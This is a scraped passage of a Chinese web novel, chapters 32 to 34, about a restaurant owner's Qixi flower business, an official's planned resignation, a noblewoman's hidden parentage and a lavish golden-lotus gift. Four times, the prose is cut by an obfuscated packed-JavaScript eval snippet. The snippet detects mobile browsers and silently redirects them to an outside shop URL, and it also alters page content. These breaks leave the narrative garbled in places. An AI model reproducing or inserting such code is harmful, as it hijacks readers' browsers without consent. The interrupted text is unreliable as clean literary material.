阿虞笑嘻嘻道：“沈姐姐真乃神人，脑子里永远有这些稀奇的想法。我看别的食肆呀，也效仿我们呢。” 沈芙蕖说：“他们只是照猫画虎，学不到我创新的精髓，随他们去！” 大双小双连连摇头，要是每个节日都想出来这些新花样，那他们不得累死，光定制那些食盒图样，大双可来来回回跑了四五趟。 “掌柜的，花材我们给你买回来了，不过我们几个粗汉子实在包不来花，你还是找店里几个小丫头片子帮忙吧。”大双把装满花材的箩筐搬到院内的石桌上，指了指店里新雇的几个小姑娘。 沈芙蕖说：“好好好，我绝不为难你们，我先打个样，她们照葫芦画瓢就行。” 此时汴京的花材并不多，为节约成本，沈芙蕖也只是选取随处可见的几种花。 紫薇花束以七枝紫薇作为主花，三枝深粉，两枝淡紫，两枝雪青。每枝只留五簇花，多余的杂叶全部剪去。 再搭上五条细枝雪柳缠绕主枝，白花点缀紫薇间，三穗红蓼斜插基部，穗头微垂。最后搭上几片玉簪叶，避免颜色太过浓烈。 至于包花的技艺，沈芙蕖特意到姚家花坊学习了一番，先用湿苔藓裹花根，再进行包装，这样花期可以延长很多。 第一层浅青油纸，第二层则是黛蓝鲛绡纱，最外侧用五色丝绳打一个同心结，一束花便包好了，沈芙蕖为其取名“长相守”。 第二束叫做“长相思”，取木芙蓉九朵，粉苞三朵、全盛无瑕白瓣三朵、红蕊三朵。期间缝隙插入紫苏叶，配上文竹一丛。 包装纸则选用金粟笺和绯红罗两种颜色，银线缠珊瑚珠作束带。 阿虞看得目瞪口呆：“沈姐姐，你这手艺都可以开花坊了。我听说花坊也很挣钱，有些官宦人家买来用作佛前供花，付钱时连眼睛都不眨一下。” “是呢，我问了一下，姚家花坊代客插瓶，要二十文一次，花束包扎也要十文一次。这个钱不如发给你们呢，所以拿回来自己包了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16149481|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们包一束，我给十文钱可好？” 阿虞拍手道：“就是没这额外的工钱，我也是要帮忙的，我觉得可有意思了！” 沈芙蕖站起来，腰已经挺不直了，她打着哈欠道：“你带着那几个丫头研究吧，我得歇歇了——我这老腰啊。” 刚走出院子，沈芙蕖就看见拎着抹布的张澈站在那里，似乎刻意等她。 沈芙蕖笑着走过去，问道：“怎么？你也想包花？只要包得好，都是按十文钱结算。” 张澈和阿虞一样，都是苦命的孩子，张澈也是被祖母拉扯大的，祖母去世后才来汴京投奔亲戚，哪知亲戚得知是他来了，连门都没让他进。 因此张澈是这几人中，最肯吃苦，最愿意分担活计，最想拿更多工钱的人。 “不是这个事情……”张澈涨红了脸：“掌柜的，能不能请你给我留一束花，我、我按市场价给你。” “当然可以！”沈芙蕖说：“不过我这花的噱头大过实际用途，成本才三十文。你喜欢便自己包一束，我不收你钱。” “那多不好意思，要不，我按成本价付给掌柜的。”张澈说。 沈芙蕖依旧摆摆手：“不用，掌柜的不差那点钱。你若喜欢，拿两束也可以。” 正说着，芙蓉盏门口的鹦鹉喊道：“欢迎光临！” 沈芙蕖一抬头，险些没认出周寺正，那个往日里总板着脸、走路带风的周寺正，此刻竟似被抽了脊骨般，连肩膀都垮了下来。 “周大人？您这是怎么了？身子不适吗？”沈芙蕖起身相迎道。 周寺正摆摆手，声音沙哑：“我没事……我坐坐就走。” 他选了最角落的桌子，背对着满堂食客，仿佛不愿被人瞧见。 沈芙蕖亲自斟了盏热茶，推到他面前，仔细一瞧，他面容愈发憔悴。 周寺正低着头，突然开口：“沈娘子，我要走了。我准备递辞呈了，过几日收拾好了便启程回乡。” 沈芙蕖一怔：“这是怎么回事？” 周寺正算得上是大理寺的老人，更是陆却的心腹，他这样突然辞官，真让沈芙蕖意外。 周寺正摇头，不肯多说，只道：“官场沉浮，本就是常事。沈娘子，你是个聪明人，这汴京城，远不如如表面那般太平。” 沈芙蕖心里已有数：“周大人，您到底视陆大人为什么呢？是同僚、上峰，还是朋友、知己？抑或是某个敬佩的人？” 周寺正愣了愣，他犹豫道：“这个问题，我还没有想过。也许都对吧。” “那周大人要辞官的事情，可有事先向陆大人提过呢？”沈芙蕖接着问。 周寺正摇头：“那自然是没有。” 沈芙蕖哑然失笑：“周大人聪明一世糊涂一时，有些事，你当真觉得陆大人不知道吗？只不过，他也装作糊涂人罢了。他都没提罢官之事，你倒主动提了？” 周寺正嘴皮哆嗦，将这话反复琢磨，这才抬头，眼里已经含了泪水：“沈娘子的意思是，大人并不怪我？！” 32. 第三十二章 沈芙蕖被周寺正愁眉苦脸的样子给逗笑了，她认真说：“周大人，汴河那些人是你杀的吗？” 周寺正立刻把头摇得像拨浪鼓，胡须都跟着一颤一颤：“那自然不是，实不相瞒，我连只鸡都不敢杀。” “那硇砂可是大人偷运贩卖的？”沈芙蕖继续问。 周寺正答道：“下官一直老实本分，从不做违反我朝律法之事。” “既然不是你做的，何必急着辞官呢，要我说，陆大人心里跟明镜似的。”沈芙蕖继续慢悠悠道。 周寺正激动地站起来，胡子也有些颤抖，他又道：“可是……我知道的太多了，那些人又岂会容我。” 沈芙蕖一挑眉：“难道大人把官一辞，那人就肯放过你了？指不定告老还乡的路上，就有劫匪来害呢。与其担惊受怕，不如赖在大理寺不走，天大了你们不是还有陆大人顶着吗？大人若觉得我说的在理，应该知道怎么做。若是一时半会没想明白，您那辞呈晚点再呈，如何？” 周寺正怔怔地望着眼前这个笑意盈盈的女子，忽然觉得，这盏里的茶似乎也没那么苦了。 “那好吧，就依沈娘子所言。” 周寺正挠着头，视线飘到了店里做的七夕特供的水牌，自然而言转移了话题：“沈娘子，过节也不休息吗？” 沈芙蕖点头，也不怕别人说她掉进钱眼里：“那是自然，这类节日可是赚钱的好时机，大家都舍得花钱。” 周寺正搓着手，看向“长相守”的花束，说道：“那给我订一套吧，配鸭货，这是二十文钱，我先付个定金，到时候送给我夫人。” 沈芙蕖拿笔记下：“自然是没问题。” 说来也巧，陆惠善的生辰恰与七夕重叠。每年这日，陆府总要设宴，邀些闺中密友赏花乞巧，共庆芳辰。 往年宴席都由府中厨娘操办，菜色虽精致，却总少了些新意。今年陆惠善对着单子瞧了半晌，觉得年年都是这些，腻了。 沈芙蕖刚送走了周寺正，在芙蓉盏忙着备料，忽闻门外一阵环佩叮咚。 阿虞探头一望，见个穿湖绿襦裙的姑娘立在阶前，发间金步摇映着日光，晃得人眼花。 那姑娘已跨过门槛，亮出一枚五色丝绦的陆府腰牌，指尖在柜台上点了点：“我家娘子三日后设宴，要订五十份花束并七巧团子。花要新鲜的，团子馅须得三甜四咸。惠娘特意嘱咐，要芙蓉盏亲手制的。” 阿虞心想，七夕节当天也只预备下五十份，她一人便要了这么多去，怕是不好办，于是说：“五十份？那我要请示一下我们掌柜的，这事我做不了主。” 沈芙蕖听了，一时间不知是答应还是拒绝，实在是忙不过来了，可是算下来，五十份，就算打八折，那也是四千文，整整四贯钱，除去成本，也有两贯钱。 阿虞不由羡慕起来，怎么人家随随便便就能花上自己一个月的工钱呢？真是同人不同命呀。 “可以的，一下订五十份，我就打八折吧，按照每份八十文的价格给你。”沈芙蕖说。 “钱都不是问题，我们娘子说了，花一定要新鲜。”那侍女又强调了一遍。 沈芙蕖这才想到，她包的两种花束，“长相思”和“长相守”都是情人间送的花，未必适合陆府使用，于是问道：“可否请姑娘明示，这些花束是什么用途？若是花材不够，能否使用其他花材替代呢？” 侍女答道：“我们娘子马上过生辰，你挑些喜庆的花包扎吧，也不拘是什么花。” 侍女走后，沈芙蕖问张澈：“阿澈，你说陆家娘子过生辰，这花钱我是收还是不收呢？” 张澈微微笑：“掌柜的，这五十份花可要忙活不少时间，再说了，陆府是什么人家？咱们若是不收钱，反倒显得心虚。” 沈芙蕖说道：“哦？此话怎讲？” 张澈坦然道：“您想啊，陆娘子特意派贴身侍女来订花，又点了名要您亲手制的七巧团子，摆明了是冲着咱们芙蓉盏的名声来的。若是咱们不收钱，倒像是刻意讨好，反倒落了下乘。” 沈芙蕖轻笑：“你倒是算得清楚。” 张澈挠挠头，憨厚一笑：“掌柜的教得好。” 她沉吟片刻，终于点头：“行，那就按你说的办。不过这花束的包装，咱们得再讲究些。” 张澈立刻会意：“明白！我这就去大相国寺花市，挑最新鲜的木芙蓉，再配些雪柳和金丝桃，保准让陆娘子满意。” 转眼便到了七夕当天，沈芙蕖却是比平时起得更早。 馅料是提前一天做好的，早上只要揉面、包团即可。花材前天晚上准备好的，早上洒点水就可以拿出来包扎了。 “阿虞，你把花全部抱到屋里来，一会出了太阳，别把花都晒蔫了。”沈芙蕖吩咐着。 “来了来了！”阿虞应了一声，小跑着过去，路过张澈身边时，见他正蹲在地上，用银刀细细地削着竹签。 “你这是在做什么？”阿虞好奇地问。 张澈头也不抬：“我在做做花束的骨架。陆府订的那五十份，得用双层竹篾加固，不然半路散了，花就不好看了。” 大双和小双还在后院井边洗花，木盆里漂着新摘的木芙蓉和雪柳。 小双捞起一朵粉芙蓉，对着晨光瞧了瞧：“哥，这朵变色不够艳，要不要换掉？” 大双瞥了一眼：“留着，掌柜的说，变色浅的可以染。” 他从怀里掏出个小瓷瓶，倒出几滴茜草汁，轻轻点在花瓣边缘：“瞧，这不就红了？” “哎呦我的好哥哥啊，掌柜的怎么放心把燃料给你的，你看你这衣袖，这手，全都是染料，不知道的以为你杀鸡去了。”小双嘟囔着。 朝阳初升，芙蓉盏的店门一开，外头已排起了长队。 “我要一束长相思！配巧果一盒！” “巧果还有没有？我全部要红豆馅的。” “掌柜的，我昨天可是找你定了两束花，你没忘吧？” 沈芙蕖站在柜台后，一边收钱一边指挥：“阿虞，给这位客官拿一束并蒂莲！大双，东厢第三桌要巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16166780|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果带走。还有，靠墙角那束是留给周寺正的，你们莫要给错了！” “哎哎哎，知道了沈姐姐！”阿虞手忙脚乱地捆着花束，抽空瞥了眼门外，队伍都快排到街角了！ 沈芙蕖看了一眼灶头，说：“阿虞，时间不早了。店里暂时就先交给你了，我和阿澈要去陆府送花。你放心，我没忘记你晚上有事，我们送去就回来。” “那你们一定要早点回啊！我晚上还要放河灯呢！”阿虞喊着。 张澈早已套好马车，沈芙蕖将最后一束木芙蓉小心放进竹箱，这箱底垫了湿苔藓，又盖上一层薄纱防尘。 大双和小双帮忙抬着食盒，一盒盒码进车厢。食盒是特制的双层楠木匣，中间塞着碎冰块，能保糕点半日不坏。 “兄弟，我就说骑马很简单的是不是！我那天一教你就会。”大双摸了摸店里的马屁。 “嗯！多谢大双哥，现在送个货是没问题的。”张澈道。 马车逐渐驶出草市坊，一路朝着陆府驶去。 陆府的角门前，两个小厮正打着哈欠。见马车停下，其中一人懒洋洋地迎上来：“可是芙蓉盏的？我们可等你有一会了。” 张澈跳下车，客气道：“劳烦通报，花束和团子送到了。” 说着递上一包果子，笑道：“两位大哥辛苦，这点果子给你们尝尝鲜。” 小厮这才推开侧门，里头又有婆子候着，引他们穿过回廊。 沈芙蕖边走边瞧，陆府比她想象中还要大，假山亭台错落有致，一步一景彰显出主人不俗的品味。 张澈何曾见过这等富贵人家，连头也不敢抬，更不敢四处张望，生怕被人说芙蓉盏的伙计不懂规矩。 婆子停下了脚步，说道：“花厅在这儿，我们娘子吩咐了，花束摆东窗下，团子搁西边的八仙桌上。” 沈芙蕖和张澈将花束一束束搬进花厅。沈芙蕖亲自调整位置，把最鲜艳的那几束木芙蓉摆在显眼处。 食盒则小心翼翼地摆在八仙桌上。沈芙蕖掀开盖子，检查了一遍团子，还好，冰未化，糕点依旧鲜亮。 正忙活着，沈芙蕖见陆惠善扶着丫鬟的手，缓步走了进来。 她今日穿了身杏红罗裙：“沈娘子辛苦了，这花儿摆得真好。” 沈芙蕖福了一礼，从怀中取出那个锦缎包袱：“娘子芳辰，一点心意。” 陆惠善挑眉，亲手解开包袱，里头是个古朴的香盒。揭开盖子，里头整齐码着七枚香丸，每一枚颜色各异。 “这是七种香料。晨起用粉丸，午间燃金丸，入夜点紫丸。七日七香，名曰星桥。”沈芙蕖说道。 陆惠善捏起一枚粉丸，在鼻尖轻嗅，是桃花的甜混着沉檀的暖，她笑了：“沈娘子有心了。” 侍女递上一个荷包，陆惠善亲手放进沈芙蕖掌心：“一点茶钱，沈娘子莫要推辞。” 那荷包沉甸甸的，少说也有一贯。沈芙蕖刚要推脱，听得一个熟悉的声音传来。 “惠善，韩府的人来了，你跑哪里去了？” 33. 第三十三章 沈芙蕖一抬眼，正对上陆却的目光。他今日未着官服，瞧着倒像个寻常书生。 见沈芙蕖望来，他眉梢微挑，似是也没料到会在此处遇见她。 沈芙蕖心头还梗着那天他冷言冷语的刺，面上却不显，只规规矩矩福了一礼，便要带着张澈回芙蓉盏去。 “沈娘子且慢。今日宾客多，我得先去迎韩相家眷。” 她转头吩咐侍女：“你们去取两匣玉露团来，让沈娘子带回去尝尝。” 张澈心道，整个汴京城的糕点，哪有他家掌柜瞧得上眼的？却见沈芙蕖微微一笑，温声道：“谢娘子赏赐。” 陆却的目光在二人之间转了个来回，道：“这花厅西晒得厉害，连木头都能晒化。东边小园子里有口泉水，沈娘子若不急，可带伙计去歇歇脚。” 沈芙蕖顺着望去，但见竹影婆娑处隐约露出个六角凉亭。 陆惠善之所以这么重视此次生辰，是因为当朝韩相府上的甄姨娘来了。 甄氏虽说只是个妾室，可韩相夫人早逝，这甄姨娘掌家十余年，连官眷往来都需她出面。 满汴京城谁不知道，韩府后宅的话，向来是这位半个填房说了算。 甄姨娘一共育有三个孩子，两男一女，其中长子早夭，剩下一个儿子宝贵得跟眼珠子似的，早早为其相看起了妻子。 惠善虽是庶出，可陆府就这么一个千金，样貌品性样样出挑，还在陆夫人膝下养大，是她心中儿媳的不二人选。 沈芙蕖在花厅里摆弄了一会盆景，一水儿的相同造型，不是把罗汉松扭成宝瓶状，就是把梅枝拗成如意形。 她绕过“寿”字冬青墙，看见一片柏树排成一列。远处传来“咔嚓”声，一个老花匠正用剪子修理黄杨孔雀的尾羽，那孔雀脚下还堆着几个金灿灿的橘子，原是枳树嫁接的“金玉满堂”。 沈芙蕖与花匠搭话，花匠上下打量一番，瞧不上沈芙蕖的身份，没打理她，沈芙蕖便收了话头，百无聊赖在一旁数花骨朵。 张澈看出了沈芙蕖的心思，说：“掌柜的，你去瞧瞧那口泉吧，我在这候着，拿到了糕点我们就回。” 沈芙蕖也就答应了，一路朝着小园子走，这院子僻静，地上长满青苔，想来少有人往，打扫的仆妇们也偷懒。 沈芙蕖提着裙摆，走得小心，顺着泉流的声音朝假山走去。 “……她又不是我陆家的血脉，若能嫁进韩府，已经是她多少年修来的造化了。”一个特意压低的女声传来。 沈芙蕖的脚步一顿。 假山后的小亭里，透过山石缝隙，她瞧见陆夫人正与一位贵妇对坐亭中。 那妇人与陆夫人眉眼极为相似，正是陆夫人的胞妹马林氏。 马林氏急急道：“话是这么说，可我听说韩家二郎最是荒唐，房里多少丫鬟都被染指，听说前段时间，还有个小丫鬟搞大了肚子。惠善嫁过去，岂不是受罪？” “不过是个抱来的野种……韩相现在权势滔天，她若能为我陆家出力，助我儿平步青云，这些年我也没有白疼爱她了。” “唉……这孩子，长得是不错，可总有一种小家子气，我怕她震不住韩府的下人。”马林氏又说。 “谁说不是？对谁都是一副讨好巴结的样子。佃户生的孩子，怎么会有世家女子与生俱来的大气？”陆夫人语气里带着三分不屑。 沈芙蕖一直凝神屏气，生怕呼吸声音大了，也会被人发现。 她也不是故意的呀，就听到这么个惊天大秘密，原来陆惠善并非陆家血脉。 远处又传来马林氏的讪讪的声音：“当年陆府那个贵妾仗着自己有几分姿色，整天耀武扬威。宝珠姑娘是你的陪嫁娘子，知根知底，家世清白，姐姐抬举她当通房，怎知她是个没福气的，竟生了个死胎！我们这才来了个狸猫换太子，好在老爷信了，这些年待她如珠似宝……” 陆夫人一阵嗤笑：“如珠似宝？到底是个女孩。我不过是看她有几分姿色，能攀上韩家罢了才仔细养着。” 沈芙蕖僵在原地，她一抬头，看见面色惨白的陆惠善正怔怔瞧着她，仿佛魂已经飞走了。 “你小声些！别被人听去了。我瞧这丫头越长越出挑，心思越来越多，听下人们说，她最近总爱往大理寺跑，也不知道看上了哪家的紫袍……若是不愿意嫁进韩府……” “怕什么？”陆夫人不以为然：“她亲娘一家子的命脉都在我手里，她不敢不听话。” “走罢，甄氏估摸着也要到了……” 一阵风吹过，假山后的声音渐渐远去。陆惠善站在原地，只觉得浑身发冷。 她恍惚地瞧着自己腕上一对成色极佳的翡翠镯子，这是今个早上，陆夫人送的生辰礼。 如今想来，何其讽刺。 她忽然想起许多细节。 陆夫人从不让她唤娘亲，只许称母亲。 每逢祭祀，她总被安排在偏席。 就连她的生辰，也总是与七夕宴混在一处，从未单独庆贺过。 原来如此。惠善轻笑，眼底湿润了。 陆惠善整个人摇摇欲坠，一手攀在旁边的石块上，几块碎石掉落下来，一阵噼里啪啦声，惊动了假山后的陆夫人。 沈芙蕖眼疾手快，三步并作两步搀扶住陆惠善对着手，大声道：“惠娘子，这就是东园吗？那口泉水在哪呢？真如下人们所言，水热得能闷熟鸡子吗？” 陆惠善勉强一笑，强压住语气里的颤抖：“当然。你当心脚下路滑，我们从那边绕过去。” 转过回廊，惠善突然踉跄。沈芙蕖急忙扶她坐在石凳上，只见一滴泪砸在翡翠镯上，沈芙蕖拿帕子去擦，越擦越多。 “惠娘子，今日是个重要的时刻，你可千万别让人瞧出不对劲来，特别是……陆夫人。”沈芙蕖说。 “我……我知道……”陆惠善这才勉强止住了泪，红着眼低声道：“多谢……沈娘子。” “我什么都没听到。惠娘子是在生辰日，想起了自己的娘亲罢，不由有些伤感。”沈芙蕖善解人意道。 “是，是这样。”陆惠善重新挺直了背。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16192304|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >张澈领了糕点出来寻，于是沈芙蕖匆匆告别了陆惠善。 张澈打开食盒看了一眼，说道：“一共有八颗呢！这果子做得确实很精巧，就是不知道味道如何。” 沈芙蕖勉强笑道：“你拿给阿虞他们分了，我就不吃了。” 张澈好奇道：“掌柜的这是怎么了，从陆府出来后就一直心神不宁的？” 沈芙蕖扯了谎：“就是看见惠娘子过生辰，想起了曾经在家中的日子。” 张澈叹了一口气，说道：“掌柜的，咱们的证据提交上去那么久了，怎么一点反馈都没呢？” 沈芙蕖也跟着叹了口气，摇着头：“再等等罢。” 等回到芙蓉盏，沈芙蕖发现所有伙计，包括阿虞，都用一种戏虐的表情瞧着她，仿佛自己脸上有什么异物似的。 “怎么样，我不在的这段时间，花束和果子都卖完了吗？周寺正要的花，送过去了吗？”沈芙蕖一边说，一边拿起账簿对账。 阿虞支支吾吾道：“卖完了，果子后来又多做了三屉，现在也不剩几个了。周大人自己过来拿了花，还多买了一盒卤鸭翅。” “哦哦。那就好，阿虞，你不是急着要去放河灯吗？怎么现在还不走，天马上就黑了。”沈芙蕖又转了一圈，发现大家还是望着她。 “我是脸上有东西吗？”沈芙蕖拿过一个铜镜，里面的自己干干净净，连一根头发丝都没有乱。 “掌柜的，你走后没多久，有个说话掐着嗓子的人过来，说是替他们家官人送个东西过来。”大双一边慢慢擦着桌子，一边说道。 “什么东西？谁送的？以后有人送东西过来，你们要记清楚姓名，问清楚缘由，不能什么都收下。”沈芙蕖叉着腰，环顾四周，道：“东西在哪里？” “呃。”阿虞掩着嘴说：“我给抱你房里去了，姐姐自己去瞧就知道了。” 沈芙蕖没好气道：“怎么还神神秘秘的，不经我同意你们就自作主张收下了？” 沈芙蕖走到自己房内，一下愣住了。 她那张朴素的桌上立着一束金荷花，花瓣层层叠叠，映着窗外的夕照，将整间屋子都染成了赤金色。 这是什么东西？荷花有这个颜色吗？ 沈芙蕖闭了闭眼，再睁开时，那金光仍如实质般流淌在桌面上，连木纹都被镀成了耀眼的脉络。 沈芙蕖再度上前，原来是每片皆用赤金捶打成宣纸般的薄度，边缘自然翻卷，瓣尖还带着将绽未绽的弧度。 细看之下还有极浅的纹路，原来是工匠仿着真荷的肌理，用针一点点挑出的脉络。 莲蓬以累丝工艺编就，上头缀着数十颗金珠，每颗不过粟米大小，却颗颗浑圆。 荷叶是整块翡翠雕的，叶脉处嵌着银丝。枝干则是青铜鎏金，故意做出些许斑驳，像是真荷茎上未干的露痕。 她费劲捧起花束，被那沉甸甸的份量惊住，哪怕是放在现代，这礼物也是“豪”无人性的。 瓶底压着张小楷：一池金波，难照芙蓉真色。 落款赵四。 34. 第三十四章 天色渐暗，阿虞早就脱下围裙，欢呼雀跃着和草市坊几个小娘子结伴出去放河灯。 沈芙蕖把那束金荷小心包进锦缎，收在了床底下，将门上了几道锁，又嘱咐张澈仔细看店，自己这才出了门。 夜风微凉，沈芙蕖拢了拢衣襟，朝保康门内街行去。 周寺正先前提过一嘴，他家住在保康门内街西第三巷，这个巷子又俗称“法官巷”，距离大理寺衙门只有二里地。 但具体在哪里，沈芙蕖也不知道，如今这个情况，她决定挨家挨户问去。 谁知刚问了一家，法官巷的四坊邻居都探头出来，纷纷用好奇的眼光打量沈芙蕖，一个个心里嘀咕。 周寺正瞧着一向老实，这乞巧节晚上怎么有个穿红挂绿的小娘子来找，莫非是在外头留了情，人都找上门了？ 沈芙蕖心下一沉，暗忖这般贸然寻来，若给周寺正惹来闲言碎语，反倒成了她的过错。 她略一思量，只得撒了个谎：“周大人白天在敝店买了包果子，银钱上有些差错，我特来送还。” 槐树门口坐着个乘凉的妇人，怀里抱着个很小的婴孩，摇着蒲扇道：“小娘子来得不巧，周大人带着他家两个姑娘去汴河边放河灯去了，前脚刚走，你后脚就来了。” “嗳，那可真是不巧，正好错过了！”沈芙蕖收起眼底的失望。 那妇人打量了沈芙蕖一眼，说道：“小娘子可是芙蓉盏的沈掌柜？” 保康门位于汴京内城西南，隶属宜秋坊，从这里走至草市坊的芙蓉盏，得半个时辰，能在此遇见熟客倒是意外。 “正是。”沈芙蕖含笑应道。 妇人怀中的婴孩咿呀作声，妇人轻拍襁褓哄着孩子，眯起眼睛，半是怀念道：“生这孩子之前，我经常去芙蓉盏吃面，如今带着娃娃不便走动，倒是惦记起红烧羊肉和卤鸭翅的味道。” 沈芙蕖说：“待小公子大些，您尽管带他来芙蓉盏，面钱算我的。” “那就先谢过沈掌柜了，若是足不出户也能吃到芙蓉盏的手艺就好了……”妇人微微一笑，继而笑道：“瞧我，净耽误沈娘子正事了。” 沈芙蕖向妇人道别，心道，今日是找不到周寺正了，也问不到赵清晏的住址，想着想着，不知不觉间走至大理寺。 暮色笼罩，宴席上的觥筹交错犹在耳畔，女眷们尖细的笑声、男宾们粗犷的劝酒声，仿佛还在陆却太阳穴上扎着针。 陆却揉了揉眉心，抬脚便往大理寺门前跨去。这个时辰，值房里应当只剩几个书吏，正好躲个清净。 “大人！陆大人！等等我！”陆却听得一个熟悉的声音，一抹海棠红的影子猝不及防撞进视线。 那双黑色的眸子依旧抢眼，眼尾微微上扬，带着三分英气。发间一支木簪，素净简朴，柔中带刚，明艳不可方物。 今日已经是第二次遇见沈芙蕖了。 沈芙蕖急忙开口：“是这样的，我想寻赵小官人说些事情，却不知他住处。大人既是他表兄，能不能指条路呀。” 陆却皱着眉，注意到沈芙蕖的衣裳，她平时不穿这么艳丽，红褙子，袖口收着窄窄的牙白滚边，衬得她肌肤如玉，今日在汴河边约会的娘子，多半这么打扮。 “你找赵……四有事？这么晚了？”陆却眉头皱得更紧。 沈芙蕖点头，眼里带着些急切：“是的是的，确实有要紧的事。” 可乞巧节能有什么要紧的事？她沈芙蕖掉进钱眼里，乞巧节也要忙着扎花卖果子，怎么有空来找赵清晏？还有什么事情是比赚钱更重要的？ 什么要紧事，非得今夜说？ 还能为什么事？她是准备表明心迹吗？ 陆却想都没想，一口回绝了：“你见不到他。” 沈芙蕖不明所以：“大人，你就给指条路，我自然有办法能见到他。” 陆却冷冷道：“他们家规矩多，我说你见不到，便是见不到。” 沈芙蕖心里骂道，你管我见不见得到，你陆却高门大户的，我不是一样进去了，真是阎王易见，小鬼难缠！ “陆大人，实不相瞒。赵清晏不知道从哪儿弄来的一份厚礼，我……我实在收不得！要不这样吧，你作为他表哥，先把那东西拿走，成不成，放在我的芙蓉盏，委实叫人寝食难安！”沈芙蕖索性摊开了说。 太子殿下他真是——又胡闹了！ 陆却本不想理这件事，他又不是赵清晏的真表哥，何必天天替他收拾烂摊子？ 正欲拒绝，又听沈芙蕖说：“陆大人，您这表弟家中到底是做什么营生的？我真是差点要被他吓死了，麻烦您行行好，跟我走一遭。” 月光下，她声音有些发颤，竟真显出几分惶然。 陆却终究叹了一口气：“走吧。” 沈芙蕖与陆却并肩而行，沿着河岸小径，穿过熙攘的人群。 河面上浮着千百盏莲花灯，烛火映着流水，碎成粼粼的金波。 有少女蹲在岸边，小心翼翼地将灯放入水中，合掌闭目，似在许愿。 也有孩童嬉笑着追逐，手中的灯摇摇晃晃，险些翻倒，又被大人一把扶住。 “今年的灯挺多的，惠娘子今日过生辰，怎么不出来放河灯？”沈芙蕖说，这一路上，陆却都不怎么说话，都是沈芙蕖在说。 陆却微微颔首，目光扫过河面：“府中有活水可放花灯，惠善向来不在汴河凑这个热闹。” 沈芙蕖想起那日在陆府见到的荷花池。汉白玉砌就的池沿，池中锦鲤游弋，确实比这汴河边的熙攘要雅致得多。 看着眼前这满河璀璨的灯火，沈芙蕖觉得，精致的池塘，反倒显得寂寞了。 这时，一艘画舫缓缓驶过，舫上歌姬的琵琶声飘荡而来，混着夜风，添了几分缱绻。 灯影映在舫侧的纱帘上，勾勒出曼妙的身姿，引得岸边行人驻足观望。 沈芙蕖也不由放慢脚步，望着河中央那盏最大的灯，金箔贴面，形如凤凰，烛火透过薄如蝉翼的灯纸，将整片水域映得流光溢彩。 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16209680|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却淡淡道：“那是韩府的灯，每年如此，张扬得很。” 沈芙蕖想起白天在陆府的所见所闻，笑了笑，没接话。 她弯腰拾起一盏被水浪冲回岸边的灯，重新点燃烛芯，轻轻一推。那灯晃了晃，终于顺着水流飘远，混入万千灯火之中。 陆却侧目看她，忽而开口：“你许了什么愿？” 沈芙蕖眨了眨眼：“当然是早日还了陆大人的钱，开上酒楼，成为汴京首富！” 陆却一怔，随即别过脸去。 沈芙蕖颇为自豪道：“陆大人，我当初找你借钱时候夸下的海口，如今可都实现了，我店里现在足足雇了十个人！” 陆却难得说了一句讨喜的话：“那陆某便期待着有一天，你店里的伙计能遍布整个汴京。” “多谢多谢！一定会的！”沈芙蕖高兴道。 夜风拂过汴河，陆却的脚步不自觉地放缓。 与沈芙蕖并肩而行，竟让他感到一种久违的松快。 沈芙蕖虽是个食肆掌柜，出身商贾，言谈间却自有一番通透。论市井百态，她如数家珍。谈朝堂风云，亦能切中肯綮。更难得的是那份不卑不亢的气度，既不因他官身而谄媚，也不为权贵折腰。 陆却想起大理寺那些战战兢兢的胥吏，对比眼前这个敢直视他眼睛说话的女子，唇角不自觉扬起一丝几不可察的弧度。 芙蓉盏的门口，依旧人声鼎沸，剩下的伙计们嗓子都要喊哑了，但是没人觉得累，因为掌柜的说了，今天卖的所有东西，都有抽成，卖得多，赚得就越多。 “陆大人，我们从后门进吧，你且在院子里坐一下。”沈芙蕖先给陆却沏了茶，然后进了自己的厢房，去拿金荷。 陆却默默坐下，不一会儿娉婷的身影便走近了。 “大人请看。”沈芙蕖将锦缎打开，一束金色的荷花展现在陆却面前。 陆却自幼也是锦衣玉食长大的，眼界颇高，所以当他看到这束荷花时，不仅有些错愕，也有些无语。 